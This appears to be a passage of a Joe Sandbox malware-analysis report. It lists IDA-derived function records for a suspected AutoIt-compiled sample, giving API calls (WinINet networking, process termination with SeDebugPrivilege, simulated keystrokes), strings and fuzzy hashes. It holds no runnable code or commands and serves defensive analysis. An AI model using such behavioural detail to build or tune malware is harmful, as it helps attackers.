Part of subcall function 004829C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000), ref: 004829DE
Part of subcall function 004829C8: GetLastError.KERNEL32(00000000,?,0048D7D1,00000000,00000000,00000000,00000000,?,0048D7F8,00000000,00000007,00000000,?,0048DBF5,00000000,00000000), ref: 004829F0

_free.LIBCMT ref: 00482CA0
_free.LIBCMT ref: 00482CAB
_free.LIBCMT ref: 00482CB6
_free.LIBCMT ref: 00482CC1
_free.LIBCMT ref: 00482CCC
_free.LIBCMT ref: 00482CD7
_free.LIBCMT ref: 00482CE2
_free.LIBCMT ref: 00482CED
_free.LIBCMT ref: 00482CFB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 66ce8ad1b57d23071cbdecb7d9476694c392d66be57e0b05894dbb46a276f898
Instruction ID: c1d5600d044cb9b7954ab3af04c9fe372c264ba17defc1d1302a5a5c4556f512
Opcode Fuzzy Hash: 66ce8ad1b57d23071cbdecb7d9476694c392d66be57e0b05894dbb46a276f898
Instruction Fuzzy Hash: 5011AAB5200108AFCB02FF55DA42CDD3BA5FF05354F42489AFA485F222D679EE509B54

Function 00451410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00451459
OleUninitialize.OLE32(?,00000000), ref: 004514F8
UnregisterHotKey.USER32(?), ref: 004516DD
DestroyWindow.USER32(?), ref: 004924B9
FreeLibrary.KERNEL32(?), ref: 0049251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0049254B

Strings

close all, xrefs: 00451454

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 06a07fcef0a2911bff99a699a5fd36924d1f67a52cdfb6f5d885fd4c071e59ec
Instruction ID: dcb96fcdc5d4231dd291d8f14bbe37df9fcb39f433a703cfe25e8be97957300e
Opcode Fuzzy Hash: 06a07fcef0a2911bff99a699a5fd36924d1f67a52cdfb6f5d885fd4c071e59ec
Instruction Fuzzy Hash: E9D1BD31701212EFCB19EF15C594B29FBA0BF05315F1541AFE84A6B262DB38AC1ACF59

Function 00455BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00455C7A

Part of subcall function 00455D0A: GetClientRect.USER32(?,?), ref: 00455D30
Part of subcall function 00455D0A: GetWindowRect.USER32(?,?), ref: 00455D71
Part of subcall function 00455D0A: ScreenToClient.USER32(?,?), ref: 00455D99

GetDC.USER32 ref: 004946F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00494708
SelectObject.GDI32(00000000,00000000), ref: 00494716
SelectObject.GDI32(00000000,00000000), ref: 0049472B
ReleaseDC.USER32(?,00000000), ref: 00494733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 004947C4

Strings

U, xrefs: 00494693

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 0aa7f80635d4093b1b1c428a48e9b9f94f17530474aca510d48541d2644755c4
Instruction ID: 1e794fbb8258a040b6357992d0defe41e783853b266b349037305896a80c771c
Opcode Fuzzy Hash: 0aa7f80635d4093b1b1c428a48e9b9f94f17530474aca510d48541d2644755c4
Instruction Fuzzy Hash: 9671CD35400209DFCF218FA4C984EBA7FB1EF86325F1442BAED515A266C3389846DF69

Function 004C359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 004C35E4

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

LoadStringW.USER32(00522390,?,00000FFF,?), ref: 004C360A

Strings

^ ERROR, xrefs: 004C36C9
Line %d (File "%s"):, xrefs: 004C366B
"%s" (%d) : ==> %s:%s%s, xrefs: 004C3724
Error: , xrefs: 004C36EF
"%s" (%d) : ==> %s:, xrefs: 004C3742

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 57b4a3be20b0652bce242cb0d9f79e896a7c2c08d26260365f52361b65cd1fc6
Instruction ID: da4a5f22eb4e3a0c1198177e92ccce7a80d329000e20de390072fe740a93b301
Opcode Fuzzy Hash: 57b4a3be20b0652bce242cb0d9f79e896a7c2c08d26260365f52361b65cd1fc6
Instruction Fuzzy Hash: 29519471800109FADF15EFA1CC42EEEBB75EF14346F14412AF90572162DB381A99DF69

Function 004CC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 004CC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004CC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 004CC2CA
GetLastError.KERNEL32 ref: 004CC322
SetEvent.KERNEL32(?), ref: 004CC336
InternetCloseHandle.WININET(00000000), ref: 004CC341

Strings

, xrefs: 004CC2BB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 9fa272b984dad4c06fa10be388767f518c54506754da0e1aaaf8dd2db075795b
Instruction ID: 2bc55de7eb4834af09a330c46f6f78a7b827f63d2ac9fc4e5b93df95f7022c7a
Opcode Fuzzy Hash: 9fa272b984dad4c06fa10be388767f518c54506754da0e1aaaf8dd2db075795b
Instruction Fuzzy Hash: 3531D179900244AFD7619F659CC8FAB7BFCEB49344B04842FF84A96211DB38DC068B69

Function 004B989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00493AAF,?,?,Bad directive syntax error,004ECC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 004B98BC
LoadStringW.USER32(00000000,?,00493AAF,?), ref: 004B98C3

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 004B9987

Strings

Error: , xrefs: 004B9955
., xrefs: 004B996D
Line %d:, xrefs: 004B9912
Line %d (File "%s"):, xrefs: 004B992D
%s (%d) : ==> %s.: %s %s, xrefs: 004B98F1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: a404ed75cb8918a70da54ada69b2f892ee30c8df2416b3ff5334c034e25531d2
Instruction ID: a66f8732232eeb1971fb712541c4f7185209048a76a824c4b60964d351a2c388
Opcode Fuzzy Hash: a404ed75cb8918a70da54ada69b2f892ee30c8df2416b3ff5334c034e25531d2
Instruction Fuzzy Hash: AC21B43180021EEBDF11AF90CC46EEE7735FF14705F04442BF915660A2EB79AA58CB25

Function 004B209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 004B20AB
GetClassNameW.USER32(00000000,?,00000100), ref: 004B20C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 004B214D

Strings

SHELLDLL_DefView, xrefs: 004B20CC
list, xrefs: 004B212F
details, xrefs: 004B20FB
smallicons, xrefs: 004B2115
largeicons, xrefs: 004B20E1

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: d2436a4f1bc6152d58c561dc4f73382bb580071009f443edf3ef42700b09c796
Instruction ID: 1a6aee7f4a1ecf2fdce8a6a3de93b11b8c0d329bed3b9cbcf56d3183cd3502d1
Opcode Fuzzy Hash: d2436a4f1bc6152d58c561dc4f73382bb580071009f443edf3ef42700b09c796
Instruction Fuzzy Hash: 4211E776688707B9F6012629DD06DE7379CDB44324B20402BFB05A51D2FAAD58425A2D

Function 0048CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0048CEB7
_free.LIBCMT ref: 0048CF22
_free.LIBCMT ref: 0048CF48
_free.LIBCMT ref: 0048CF71
_free.LIBCMT ref: 0048CFA9
_free.LIBCMT ref: 0048CFDA
_free.LIBCMT ref: 0048D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0048D09C
_free.LIBCMT ref: 0048D0B5

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 9a7749e2ae0439f2d52f8548e232d23c85d0c6521815cfb3ce334086ed3979a7
Instruction ID: b7a7be284203b891d92803ac352ea1cc42c9c039abf1726c59be48645d59ccc9
Opcode Fuzzy Hash: 9a7749e2ae0439f2d52f8548e232d23c85d0c6521815cfb3ce334086ed3979a7
Instruction Fuzzy Hash: 32614BB1A05200AFEF21BFB598C1A6E7B95EF02314F14496FFB04973C2D63D99029768

Function 004E50D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 004E5186
ShowWindow.USER32(?,00000000), ref: 004E51C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 004E51CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 004E51D1

Part of subcall function 004E6FBA: DeleteObject.GDI32(00000000), ref: 004E6FE6

GetWindowLongW.USER32(?,000000F0), ref: 004E520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004E521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 004E524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 004E5287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 004E5296

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 80255ee22662401032ba54b8e576a41e81fd616000448164a68ddf63d8247aad
Instruction ID: d27ea52dfc40dff449b43b3492d21b205392a6c8c94324b2003b42a8915c000c
Opcode Fuzzy Hash: 80255ee22662401032ba54b8e576a41e81fd616000448164a68ddf63d8247aad
Instruction Fuzzy Hash: CF51D530E40A88BFEF209F26CC45BDA7B65FB0532AF144057F6149A2E1C3799981DF49

Function 00468B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 004A6890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 004A68A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 004A68B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 004A68D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 004A68F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00468874,00000000,00000000,00000000,000000FF,00000000), ref: 004A6901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 004A691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00468874,00000000,00000000,00000000,000000FF,00000000), ref: 004A692D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: d6ea224d0831d8ecc7f011d2e072ff036e97beda03b1142ff807bd8faf5385ff
Instruction ID: 70a74f560001561024b2d6fb145731baf5392b5adfe57bfe0f4c5ba2e4c0c5e7
Opcode Fuzzy Hash: d6ea224d0831d8ecc7f011d2e072ff036e97beda03b1142ff807bd8faf5385ff
Instruction Fuzzy Hash: 30519EB0600209AFDB20CF25CC95FAB37B5FF65750F14461EF902962A0EB78A991DB49

Function 004CC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 004CC182
GetLastError.KERNEL32 ref: 004CC195
SetEvent.KERNEL32(?), ref: 004CC1A9

Part of subcall function 004CC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 004CC272
Part of subcall function 004CC253: GetLastError.KERNEL32 ref: 004CC322
Part of subcall function 004CC253: SetEvent.KERNEL32(?), ref: 004CC336
Part of subcall function 004CC253: InternetCloseHandle.WININET(00000000), ref: 004CC341

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 4f690bfb2fe212ac54ab55904ffdf41fc1f310656f36786a88a9c5422c6b7a45
Instruction ID: 13e962c0f296bd629c2a9430b9d5512118ea8fb5b38a9c5d93b1ca525e77be20
Opcode Fuzzy Hash: 4f690bfb2fe212ac54ab55904ffdf41fc1f310656f36786a88a9c5422c6b7a45
Instruction Fuzzy Hash: 3831BE79900641AFDB608FA5DCC4F77BBE9FF18300B04446EF95A86611CB34E8119FA9

Function 004B25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 004B3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 004B3A57
Part of subcall function 004B3A3D: GetCurrentThreadId.KERNEL32 ref: 004B3A5E
Part of subcall function 004B3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,004B25B3), ref: 004B3A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 004B25BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 004B25DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 004B25DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 004B25E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 004B2601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 004B2605
MapVirtualKeyW.USER32(00000025,00000000), ref: 004B260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 004B2623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 004B2627

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 18537b439d5485f43ad071151dead102a774424c4bb22639b175e85db70f3278
Instruction ID: a6b3653b2059019c7d702400c011611ebfa4d413fd178b27b89c76585eee77eb
Opcode Fuzzy Hash: 18537b439d5485f43ad071151dead102a774424c4bb22639b175e85db70f3278
Instruction Fuzzy Hash: 4901D830390250BBFB1067699CCAF997F59DF4EB12F100016F314AE0D2C9E114458A7D

Function 004B1803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,004B1449,?,?,00000000), ref: 004B180C
HeapAlloc.KERNEL32(00000000,?,004B1449,?,?,00000000), ref: 004B1813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,004B1449,?,?,00000000), ref: 004B1828
GetCurrentProcess.KERNEL32(?,00000000,?,004B1449,?,?,00000000), ref: 004B1830
DuplicateHandle.KERNEL32(00000000,?,004B1449,?,?,00000000), ref: 004B1833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,004B1449,?,?,00000000), ref: 004B1843
GetCurrentProcess.KERNEL32(004B1449,00000000,?,004B1449,?,?,00000000), ref: 004B184B
DuplicateHandle.KERNEL32(00000000,?,004B1449,?,?,00000000), ref: 004B184E
CreateThread.KERNEL32(00000000,00000000,004B1874,00000000,00000000,00000000), ref: 004B1868

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: a8e68a4557aced61625c0130b92c8030cc62b012bb9bd92b65168922c77cbc03
Instruction ID: 4ae32e3f3fa548072103d8e53cb22d80d9bc8ab28d421240de61054b40d54715
Opcode Fuzzy Hash: a8e68a4557aced61625c0130b92c8030cc62b012bb9bd92b65168922c77cbc03
Instruction Fuzzy Hash: 8E01A8B5240348BFE710ABA5DCC9F6B7BACEB89B11F404421FA05DB1A2CA749C018F24

Function 004DA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 004BD4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 004BD501
Part of subcall function 004BD4DC: Process32FirstW.KERNEL32(00000000,?), ref: 004BD50F
Part of subcall function 004BD4DC: CloseHandle.KERNEL32(00000000), ref: 004BD5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 004DA16D
GetLastError.KERNEL32 ref: 004DA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004DA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 004DA268
GetLastError.KERNEL32(00000000), ref: 004DA273
CloseHandle.KERNEL32(00000000), ref: 004DA2C4

Strings

SeDebugPrivilege, xrefs: 004DA18F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 36cebcc0594704a954c874bdbefde51771eb26cbccc09a52553bdc3dcf25e86b
Instruction ID: f49da5db954e35e5ba721ac0747ba2f26e71a9f493a781365653d33ab67d0e40
Opcode Fuzzy Hash: 36cebcc0594704a954c874bdbefde51771eb26cbccc09a52553bdc3dcf25e86b
Instruction Fuzzy Hash: 976160312042419FD710DF15C4E4F1ABBE1AF44318F58849EE8664B7A3C77AED49CB9A

Function 004E3886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004E3925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 004E393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004E3954
_wcslen.LIBCMT ref: 004E3999
SendMessageW.USER32(?,00001057,00000000,?), ref: 004E39C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 004E39F4

Strings

SysListView32, xrefs: 004E38F7

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

